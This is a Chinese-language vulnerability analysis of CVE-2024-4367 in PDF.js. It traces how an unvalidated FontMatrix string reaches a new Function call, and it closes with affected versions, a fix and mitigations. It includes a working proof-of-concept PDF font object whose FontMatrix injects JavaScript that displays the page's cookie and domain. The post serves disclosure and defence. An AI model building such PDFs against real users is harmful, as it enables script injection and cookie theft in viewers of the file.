PDF吃瓜群众的陷阱之CVE-2024-4367

0x1 概况:

PDF.js作为一个广泛使用的 PDF 渲染库,有时可能会因为处理字体的复杂性而出现许多安全问题,例如:

1. CVE-2013-5598:PDF.js 无法正确处理 IFRAME 元素的附加,读取任意文件或以 chrome 权限执行任意JS代码。

2. CVE-2015-2743:PDF.js 为内部 Workers 提供了过多权限,这可能允许远程攻击者利用同源策略绕过来执行任意代码。

3. CVE-2018-5158:未充分清理 PostScript 计算器函数,允许通过精心设计的 PDF 文件注入恶意 JavaScript。

4. CVE-2021-45086:PDF.js对参数pdf_name的操作会导致跨站点脚本。

可谓是细思极恐,并且最近的CVE-2024-4367也是一个关于PDF.js中的安全漏洞,接下来会着重进行分析,它涉及PDF字体的解析和处理,涉及在解析 PDF 文档中的字体时未能正确处理 fontMatrix,导致潜在的执行任意代码,严重影响了许多基于Web和Electron的应用,这些应用(间接)使用PDF.js来提供预览功能,CVE-2024-4367漏洞主要利用了以下几方面的缺陷:

1. 未正确验证 fontMatrix:

当从 PDF 字典中获取 fontMatrix 时,如果没有正确验证 fontMatrix 的内容和格式,可能会导致任意代码被注入。

2. 不安全的命令执行:

在构建和执行绘制字形的命令时,如果没有正确处理输入数据, 使用eval或new Function处理变量,攻击者可能会构造恶意的 PDF 文件,诱使解析器执行任意代码。

pdf

(漏洞流程图)

0x2 PDF.js解析PDF流程:

在详细分析CVE-2024-4367漏洞之前,先了解一下PDF.js在解析PDF时的关键流程。

1. PDF.js首先从外界的PDF中获取属性:

在PDF.js在处理PDF文件时,首先会调用PartialEvaluator.translateFont()方法,该方法从与字体相关的PDF字典对象中加载各种属性,并将这些信息组织成一个properties对象,其中有一个加载的关键属性为fontMatrix,加载时若未找到这个属性则会使用默认值FONT_IDENTITY_MATRIX(fontMatrix的默认值是[0.001, 0, 0, 0.001, 0, 0])。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
async translateFont({
descriptor,
dict,
baseDict,
composite,
type,
firstChar,
lastChar,
toUnicode,
cssFontInfo
}) {
...
properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
length1,
length2,
length3,
isInternalFont,
loadedName: baseDict.loadedName,
composite,
fixedPitch: false,
fontMatrix: dict.getArray("FontMatrix") || _util.FONT_IDENTITY_MATRIX,
firstChar,
lastChar,
toUnicode,
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
isType3Font,
cssFontInfo,
scaleFactors: glyphScaleFactors,
systemFontInfo
};
...
}

1.1 fontMatrix属性:

在 PDF.js 中,fontMatrix属性是一个6元素的数组,用于定义字体的缩放和变换矩阵,它主要用于将字体坐标系转换到用户空间坐标系。

1.1.1 fontMatrix的常见格式:

fontMatrix: [a, b, c, d, e, f](如fontMatrix: [0.001, 0, 0, 0.001, 0, 0]),对应一个 3x2 的矩阵:

pdf2

1.1.2 fontMatrix的主要作用:

  1. 缩放:将字体从字体空间缩放到用户空间。
  2. 旋转和倾斜:通过调整矩阵中的 b 和 c 值,可以对字体进行旋转和倾斜变换。
  3. 位移:通过调整 e 和 f 值,可以对字体进行位移操作。

1.2 PDF字典对象:

主要包括descriptor、dict、baseDict等对象,其各自的对象属性将被用于构建和处理字体对象。

1.2.1 descriptor 对象:

  • 简介:descriptor对象来自字体描述字典,包含字体度量和外观相关的详细信息。
  • 提取:从PDF文件的字体对象中提取,通过get()或getArray()方法从dict对象中提取属性。

1.2.2 dict 对象:

  • 简介:dict对象是与字体资源相关的主要字典,包含基本的字体信息和一些默认设置。
  • 提取:从PDF文件的字体对象中提取,通过get()或getArray()方法从dict对象中提取属性。

1.2.3 baseDict 对象:

  • 简介:baseDict对象包含了字体在PDF文档中的基本加载信息。
  • 提取:直接从baseDict对象中提取属性。

2. 根据属性转换为绘制命令(初始化cmds数组):

PDF.js处理的核心就是compileGlyph()函数,它的主要职责就是编译字形,即将字形编码(glyph code)转换为绘制命令集。通过compileGlyph()函数传入的各种属性,函数会创建一个命令集(cmds)列表,包含“保存当前状态”、“变换坐标系”以及“对坐标系进行比例调整”等命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
compileGlyph(code, glyphId) {
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
let fontMatrix = this.fontMatrix;
if (this.isCFFCIDFont) {
const fdIndex = this.fdSelect.getFDIndex(glyphId);
if (fdIndex >= 0 && fdIndex < this.fdArray.length) {
const fontDict = this.fdArray[fdIndex];
fontMatrix = fontDict.getByName("FontMatrix") || _util.FONT_IDENTITY_MATRIX;
} else {
(0, _util.warn)("Invalid fd index for glyph index.");
}
}
const cmds = [{
cmd: "save"
}, {
cmd: "transform",
args: fontMatrix.slice()
}, {
cmd: "scale",
args: ["size", "-size"]
}];
this.compileGlyphImpl(code, cmds, glyphId);
cmds.push({
cmd: "restore"
});
return cmds;
}

compileGlyph()函数利用传入的属性进行初始化cmds数组,然后编译生成用于渲染字形的函数,其中:

  • { cmd: “save” } 对应 c.save()
  • { cmd: “transform”, args: fontMatrix.slice() } 对应 c.transform(0.001,0,0,0.001,0,0)(假设 fontMatrix 是 [0.001, 0, 0, 0.001, 0, 0])
  • { cmd: “scale”, args: [“size”, “-size”] } 对应 c.scale(size, -size)

3. 将初始化完的cmds数组转换为JavaScript函数并执行:

在 PDF.js 中,不同的字体格式有不同的处理方式。具体来说,一些字体格式是需要PDF.js自己将字形描述转换为曲线,而其他字体格式则主要依赖于浏览器自身的字体渲染器。

3.1 PDF.js需要自己转换为曲线的字体格式:

3.1.1 Type 1 字体:

  • Type 1字体(也称为 PostScript 字体)是由Adobe开发的,需要PDF.js自行解析和渲染这些字体。
  • PDF.js需要读取Type 1字体文件,解析其字形描述(通常是基于 Bezier 曲线的数学表达),并将其转换为可以在页面上绘制的路径。

3.1.2 Type 3 字体:

  • Type 3 字体是一种可以包含任意PostScript绘图指令的字体格式。
  • PDF.js必须手动解析这些指令并绘制相应的字形,因为Type 3字体的灵活性和复杂性常超出了浏览器内置渲染器的能力。

3.2 主要依赖于浏览器字体渲染器的字体格式:

3.2.1 TrueType 字体:

  • TrueType字体是一种现代的、广泛支持的字体格式,浏览器通常能够高效地解析和渲染。
  • PDF.js 可以依赖浏览器内置的字体渲染器来处理TrueType字体,从而提高性能和一致性。

3.2.2 OpenType 字体:

  • OpenType 字体是基于 TrueType 和 PostScript 的扩展格式,广泛用于现代数字字体。
  • 浏览器通常支持OpenType字体的解析和渲染,因此PDF.js可以利用浏览器的能力来处理这些字体。

3.3 实际应用中的字体处理流程:

3.3.1 手动解析和渲染(Type 1、Type 3):

  1. 读取字体文件:从PDF文件中提取字体数据。
  2. 解析字形描述:解析字体文件中的字形定义,这些定义通常是基于数学表达(如Bezier曲线)。
  3. 绘制字形:使用 Canvas 或 SVG 技术,将解析后的字形描述转换为绘图指令,并在页面上绘制。

3.3.2 利用浏览器渲染器(TrueType、OpenType 字体):

  1. 嵌入字体:如果字体嵌入在 PDF 中,PDF.js 将其嵌入到页面的样式中。
  2. 依赖浏览器渲染:利用浏览器内置的字体渲染引擎来显示文本。

PDF.js为了优化性能和效率,每个字形都会预先编译一个路径生成器函数,通过getPathGenerator()函数,将这些命令转换为JavaScript代码片段并生成一个新的路径生成器函数,最后,使用生成的路径生成器函数在Canvas上下文中开始绘制字形。

3.4 getPathGenerator()函数:

在 PDF.js 中,处理需要手动转换字形的字体格式时,getPathGenerator() 函数扮演了重要角色。这个函数用于生成路径数据,以便在画布上绘制字形。

pdf3

(函数流程流程图)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
getPathGenerator(objs, character) {
if (this.compiledGlyphs[character] !== undefined) {
return this.compiledGlyphs[character];
}
let cmds;
try {
cmds = objs.get(this.loadedName + "_path_" + character);
} catch (ex) {
if (!this.ignoreErrors) {
throw ex;
}
(0, _util.warn)(`getPathGenerator - ignoring character: "${ex}".`);
return this.compiledGlyphs[character] = function (c, size) {};
}
if (this.isEvalSupported && _util.FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join(""));
}
return this.compiledGlyphs[character] = function (c, size) {
for (const current of cmds) {
if (current.cmd === "scale") {
current.args = [size, -size];
}
c[current.cmd].apply(c, current.args);
}
};
}

当缓存没有检查到该字符编译过了路径生成函数,则会开始获取需要的路径命令,若当前的PDF.js环境恰好支持eval或new Function的使用,则可以开始将路径命令转化为JavaScript的代码。

3.5 路径命令转化为JavaScript的代码:

1
2
3
4
5
6
7
8
if (this.isEvalSupported && _util.FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join(""));
}

这个过程会初始化一个空的数组jsBuf[ ]用于存储生成的JavaScript代码,遍历cmds数组,其中每个current对象表示一个命令,最后使用new Function构造一个新的函数,函数体是jsBuf[ ]中所有代码片段的连接字符串,到这里PDF完成了主要的解析流程。

0x4 漏洞原理:

1. 未进行过滤的fontMatrix属性:

我们知道PDF.js在处理PDF文件时,会从与字体相关的PDF字典对象中加载各种属性,其中在加载fontMatrix属性时候,若未找到这个属性则会使用默认值FONT_IDENTITY_MATRIX(fontMatrix的默认值是[0.001, 0, 0, 0.001, 0, 0]),这里值得注意的是fontMatrix属性在加载过程中没有进行过滤!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
async translateFont({
descriptor,
dict,
baseDict,
composite,
type,
firstChar,
lastChar,
toUnicode,
cssFontInfo
}) {
...
properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
length1,
length2,
length3,
isInternalFont,
loadedName: baseDict.loadedName,
composite,
fixedPitch: false,
fontMatrix: dict.getArray("FontMatrix") || _util.FONT_IDENTITY_MATRIX,
firstChar,
lastChar,
toUnicode,
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
isType3Font,
cssFontInfo,
scaleFactors: glyphScaleFactors,
systemFontInfo
};
...
}

既然会从与字体相关的PDF字典对象中加载未进行过滤的fontMatrix属性,那么我们可以尝试对PDF做一些恶意操作,开始制作恶意的PDF文件,制作前先了解下PDF的一些格式规范。

1.1 PDF格式规范:

在PDF格式中,字体定义由几个对象组成:Font、FontDescriptor和实际的FontFile。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
>>
endobj

2 0 obj
<<
/Type /FontDescriptor
/FontName /FooBarFont
/FontFile 3 0 R
/ItalicAngle 0
/Flags 4
>>
endobj

3 0 obj
<<
/Length 100
>>
...(实际的二进制字体数据)...
endobj

其中一些字段的含义:

  • /Type/Font:指定了对象的类型是一个字体。
  • /Subtype/Type1: 指定了字体的子类型。在这个例子中是Type1字体。
  • /FontDescriptor 2 0 R:引用了另一个对象(对象号为2,生成号为0),它是这个字体的描述符对象,包含了更多的字体度量信息。

其中PDF字典对象中的dict对象对应的就是PDF元数据中的Font对象。因此,我们可以自定义一个FontMatrix数组。

1
2
3
4
5
6
7
8
9
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 6]
>>
endobj

1.2 插入恶意字符:

现在我们可以从一个PDF对象中控制这个数组,由于PDF支持的不仅仅是数字类型。让我们尝试插入一个字符串类型的值而不是数字。在PDF中,如果想在/FontMatrix数组中插入字符串,使其可以作为PDF字符串对象的一部分。这是通过圆括号 () 包含字符串内容的方式来实现的,假设你想在/FontMatrix数组中的最后一个元素位置插入字符串 “yuzi”。

1
/FontMatrix [0.1 0 0 0.1 0 (yuzi)]

1.2.1 字符串转义:

在PDF中,字符串对象用圆括号括起来,内容可以包括任意字符,注意特殊字符需要转义。

  • ( 表示纯字符左括号
  • ) 表示纯字符右括号
  • \ 表示纯字符反斜杠

1.2.2 数组语法:

PDF中的数组用方括号 [ ] 括起来,元素之间用空格分隔。

这里我们插入恶意的fontMatrix到PDF中。(这里为了达到执行效果,我们应选择需要自己转换为曲线的字体格式如Type1

1
2
3
4
5
6
7
8
9
10
11
1 0 obj
<<
/Type/Font
/Subtype/Type1
/FontDescriptor 2 0 R
/BaseFont/FooBarFont
/FontMatrix [0.1 0 0 0.1 0 (1\);
alert\('document.domain: '+window.document.domain+'\\nlocation: '+window.location+'\\ncookie: '+window.document.cookie\);
//)]
>>
endobj

2. 恶意字符被拼接:

对compileGlyph()函数传入的这个fontMatrix数组使用slice()进行分割,并初始化到cmds数组中,我们发现如果这个数组中有任何字符串,它也将被原样插入,周围没有过滤!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
compileGlyph(code, glyphId) {
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
let fontMatrix = this.fontMatrix;
if (this.isCFFCIDFont) {
const fdIndex = this.fdSelect.getFDIndex(glyphId);
if (fdIndex >= 0 && fdIndex < this.fdArray.length) {
const fontDict = this.fdArray[fdIndex];
fontMatrix = fontDict.getByName("FontMatrix") || _util.FONT_IDENTITY_MATRIX;
} else {
(0, _util.warn)("Invalid fd index for glyph index.");
}
}
const cmds = [{
cmd: "save"
}, {
cmd: "transform",
args: fontMatrix.slice()
}, {
cmd: "scale",
args: ["size", "-size"]
}];
this.compileGlyphImpl(code, cmds, glyphId);
cmds.push({
cmd: "restore"
});
return cmds;
}

当传入的fontMatrix为PDF中我们设置的恶意字符串时候。(经过PDF自身转义后的字符串如下)

1
2
3
/FontMatrix [0.1 0 0 0.1 0 (1);
alert('document.domain: '+window.document.domain+'\nlocation: '+window.location+'\ncookie: '+window.document.cookie);
//)]

此时{ cmd: “transform”, args: fontMatrix.slice() }会对应:

1
2
3
c.transform(0.1,0,0,0.1,0,1);
alert('document.domain: '+window.document.domain+'\nlocation: '+window.location+'\ncookie: '+window.document.cookie);
//)

显然在初始化过程中,我们精心设计的字符串已经将正常的语句进行了分割,巧妙地恶意代码也成功被插入到程序,现在只需要后续的流程中能够正常运行这段代码即可。

3. 恶意代码被执行:

cmds数组初始化完成后,为了达到恶意代码被执行的效果,我们需要PDF.js自己将字形(即字符)转换为曲线,在前面恶意PDF的构造过程我们使用符合预期的Type 1字体格式。

1
2
3
4
5
6
7
8
if (this.isEvalSupported && _util.FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join(""));
}

这个过程遍历cmds数组,使用new Function构造一个新的函数,函数体是jsBuf[ ]中所有代码片段的连接字符串,也就是这里当开始渲染恶意PDF文件时,恶意代码也就开始被偷偷执行了,成功触发我们插入PDF中的恶意代码!

1
alert('document.domain: '+window.document.domain+'\nlocation: '+window.location+'\ncookie: '+window.document.cookie);

pdf4

0x5 修复思考:

通过上面对漏洞触发流程的推敲,可以发现最开始在调用PartialEvaluator.translateFont()方法时候,由于未进行过滤的fontMatrix属性,就会开始将含有恶意代码的内容传入,如果能在这里做出适当过滤可以很大程度上阻止恶意攻击的可能。

1
2
3
4
5
6
7
8
9
10
11
12
static isValidMatrix(matrix) {
return Array.isArray(matrix) && matrix.length === 6 && matrix.every(num => typeof num === 'number');
}

static translateFont(dict, descriptor) {
...
let fontMatrix = dict.getArray("FontMatrix");
if (!this.isValidMatrix(fontMatrix)) {
fontMatrix = FONT_IDENTITY_MATRIX;
}
...
}

在isValidMatrix()方法中,检查matrix是否为数组,长度是否为6,并确保每个元素都是数字,这有效防止了恶意或无效的数据被注入!

当然,于2024年4月29日 PDF.js官方更新至4.2.67版本后,也成功修复了这个安全漏洞。接下来让我们来看看官方的修复逻辑,将更新包进行下载分析https://github.com/mozilla/pdf.js/releases/tag/v4.2.67定位到关键PartialEvaluator.translateFont()方法时候发现官方也在获取fontMatrix属性的周围进行了有效过滤!

pdf5

0x6 排查方法:

漏洞影响范围:

Mozilla PDF.js < 4.2.67

pdfjs-dist(npm) < 4.2.67

react-pdf(npm) < 7.7.3

8.0.0 <= react-pdf(npm) < 8.0.2

注:pdfjs-dist是Mozilla PDF.js 库的通用构建;React-PDF是一个React组件,它封装了PDF.js库。

根据漏洞影响范围,通过对所有直接或间接使用了PDF.js组件的客户端和Web端进行排查(如在线网盘PDF解析处、在线文档平台等),查看是否处于危险版本内,因为一些更高级的 PDF 相关库静态地嵌入了PDF.js,建议递归检查node_modules文件夹,以确保没有名为 pdf.js 的文件。

0x7 缓解措施:

1. 升级版本:

受影响用户可更新到PDF.js/pdfjs-dist版本4.2.67、react-pdf7.7.3或8.0.2,大多数封装库如react-pdf也发布了修补版本。

下载链接:

https://github.com/mozilla/pdf.js/tags

https://github.com/wojtekmaj/react-pdf/tags

2. 临时措施:

可通过将isEvalSupported设置为false来缓解这两个漏洞。对于 PDF.js,该设置是全局配置的;而在React-PDF中,需在Document组件的options属性中指定options.isEvalSupported为false。

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。